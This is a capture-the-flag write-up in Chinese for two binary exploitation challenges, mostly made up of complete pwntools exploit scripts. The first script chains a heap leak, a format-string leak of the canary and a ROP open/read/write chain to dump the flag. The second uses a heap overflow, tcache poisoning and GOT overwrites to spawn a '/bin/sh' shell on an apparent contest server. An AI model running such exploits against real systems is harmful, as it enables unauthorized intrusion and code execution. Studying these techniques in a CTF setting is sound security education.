pwn1 选项5里给了一个格式化字符串, 选项6里给了一个栈溢出, 由于防护全开且开了seccomp, 禁用了execve, 所以我们先malloc两个chunk, free前一个然后读, 拿到main_arena+96的地址, 得到libc版本是2.31, 以及libc地址, 然后用格式化字符串leak canary和程序加载地址, 最后通过ROP搞一下orw把flag写在程序bss段并读取(其实这里可以写在libc)
from pwn import *from pwnlib.ui import pauseimport osDEBUG = False if DEBUG: context.log_level = 'debug' r = process(os.path.dirname(os.path.realpath(__file__)) + '/pwn1' ) else : r = remote('106.75.105.53' , 10001 ) r.sendlineafter('cxxh:' , '1' ) r.sendlineafter('summon?\n' , '0' ) r.sendlineafter('Weight?\n' , str(0x420 )) r.sendlineafter('slayer.\n' , 'AAAA' ) r.sendlineafter('weapon?\n' , '%7$p%9$p' ) r.sendlineafter('cxxh:' , '1' ) r.sendlineafter('summon?\n' , '1' ) r.sendlineafter('Weight?\n' , str(0x200 )) r.sendlineafter('slayer.\n' , 'BBBB' ) r.sendlineafter('weapon?\n' , '/flag' ) r.sendlineafter('cxxh:' , '1' ) r.sendlineafter('summon?\n' , '2' ) r.sendlineafter('Weight?\n' , str(0x420 )) r.sendlineafter('slayer.\n' , 'CCCC' ) r.sendlineafter('weapon?\n' , 'xiai' ) r.sendlineafter('cxxh:' , '3' ) r.sendlineafter('wounded?\n' , '0' ) r.sendlineafter('cxxh:' , '5' ) r.sendlineafter('know?\n' , '0' ) libc_base = u64(r.recvuntil(',' )[:-1 ].ljust(8 , b'\x00' )) - 96 - 0x10 - 0x00000000001ebb70 r.recvuntil('weapon0x' ) canary = int('0x' + r.recv(18 ).decode('utf-8' )[:-2 ], 16 ) program_base = int(r.recvuntil('cx' ).decode('utf-8' )[:-2 ], 16 ) - 0x209d info('canary: ' + hex(canary)) info('libc base: ' + hex(libc_base)) info('proogram base: ' + hex(program_base)) r.sendlineafter('xh:' , '6' ) r.sendlineafter('it?\n' , '1' ) flag_path = program_base + 0x50e0 pop_rdi = libc_base + 0x0000000000026b72 pop_rsi = libc_base + 0x0000000000027529 pop_rdx_r12 = libc_base + 0x000000000011c371 open_fun = libc_base + 0x0000000000110e50 read_fun = libc_base + 0x0000000000111130 write_fun = libc_base + 0x00000000001111d0 ROPChains = b'' ROPChains += p64(pop_rdi) + p64(flag_path) ROPChains += p64(pop_rsi) + p64(0 ) ROPChains += p64(open_fun) ROPChains += p64(pop_rdi) + p64(3 ) ROPChains += p64(pop_rsi) + p64(flag_path) ROPChains += p64(pop_rdx_r12) + p64(50 ) + p64(0 ) ROPChains += p64(read_fun) ROPChains += p64(pop_rdi) + p64(1 ) ROPChains += p64(pop_rsi) + p64(flag_path) ROPChains += p64(pop_rdx_r12) + p64(50 ) + p64(0 ) ROPChains += p64(write_fun) pause() r.sendlineafter('flowers!!!!\n' , b'A' *0x28 + p64(canary) + b'B' *0x08 + ROPChains) r.interactive()
pwn2 看起来好复杂, 鸽了
pwn3 两个字节的堆溢出, 可以改到size
, 造成重叠堆块, 之后释放这个大堆块, 修改下一个被释放的tcache
堆块的next
指针, 进而修改tcache_entry
, 伪造堆块在got
上来leak
一开始计划劫持free
成puts
, 然而由于tcache
机制, 在malloc
后会在把malloc目标地址+8
的内存清空, 导致puts的got被清空, 在劫持之前会调用一次puts导致程序崩溃, 所以最后选择劫持strtol
函数, 成功leak到了libc地址
然而之后的getshell需要再劫持一次got, 所以一开始应该修改两个tcache链的tcache_entry, 用第一个tcache链leak libc, 用第二个来getshell
由于我们只能在malloc后写入got, 所以第二个需要在leak完libc才能malloc, 这就要求我们保证strtol, malloc, read等函数的正常, 所以最后选择劫持strtol函数为printf函数, 然后利用printf函数可以控制返回值的特点来当成strtol函数使用
from typing import Patternfrom pwn import *from pwnlib.adb.adb import interactivefrom pwnlib.term.term import flush, putfrom pwnlib.ui import pauseimport osDEBUG = False if DEBUG: context.log_level = 'debug' r = process(os.path.dirname(os.path.realpath(__file__)) + '/pwn3' ) else : r = remote('106.75.105.53' , 10003 ) flush() def p () : info("PID:" + str(proc.pidof(r))) pause() def add (index, size, content) : r.sendlineafter(b'choice?\n' , '1' ) r.sendlineafter(b'?\n' , str(index)) r.sendline(str(size) + '\n' ) r.sendlineafter(b'content:\n' , content) def free (index) : r.sendlineafter(b'choice?\n' , '2' ) r.sendlineafter(b'?\n' , str(index)) r.sendlineafter(b'name?\n' , 'A' * 8 ) strtol_got = 0x404040 add(0 , 520 , 'a' ) add(1 , 520 , 'b' ) add(2 , 520 , 'c' ) add(3 , 520 , 'd' ) free(3 ) free(2 ) free(0 ) add(0 , 520 , 'd' * 520 + '\x51\x02' ) free(1 ) add(1 , 584 , b'\xff' * 520 + p64(0x211 ) + p64(0x404020 )) add(2 , 520 , 'F' ) add(4 , 536 , 'a' ) add(5 , 536 , 'b' ) add(6 , 536 , 'c' ) add(7 , 536 , 'd' ) free(7 ) free(6 ) free(4 ) add(4 , 536 , 'd' * 536 + '\x51\x02' ) free(5 ) add(5 , 584 , b'\xff' * 536 + p64(0x221 ) + p64(0x404040 )) add(6 , 536 , 'F' ) add(3 , 520 , p64(0x401040 ) + p64(0x401050 ) + p64(0x401060 ) + p64(0x401070 ) + p64(0x401060 ) + p64(0x401090 )) r.sendlineafter('?\n' , 'A' * 7 ) r.sendline('A' *7 ) r.recvuntil('A' *7 + '\n' ) IO_2_1_stdout = u64(r.recvuntil('\n' )[:-2 ].ljust(8 , b'\x00' )) r.sendlineafter('?\n' , 'A' * 23 ) r.recvuntil('A' *7 + '\n' ) puts = u64(r.recvuntil('\n' )[:-2 ].ljust(8 , b'\x00' )) - 378 info("_IO_2_1_stdout_: " + hex(IO_2_1_stdout)) info("puts: " + hex((puts))) libcbase = puts - 0x0875a0 info("libc_base: " + hex(libcbase)) system = libcbase + 0x055410 info("system: " + hex(system)) r.send('a' ) r.send('a' *7 ) r.send('%512c' ) r.sendlineafter(b'content:\n' , p64(system) + p64(0x401090 ) + p64(0x4010a0 ) + p64(0x4010b0 )) r.send('a' ) r.send('/bin/sh\x00' ) r.interactive()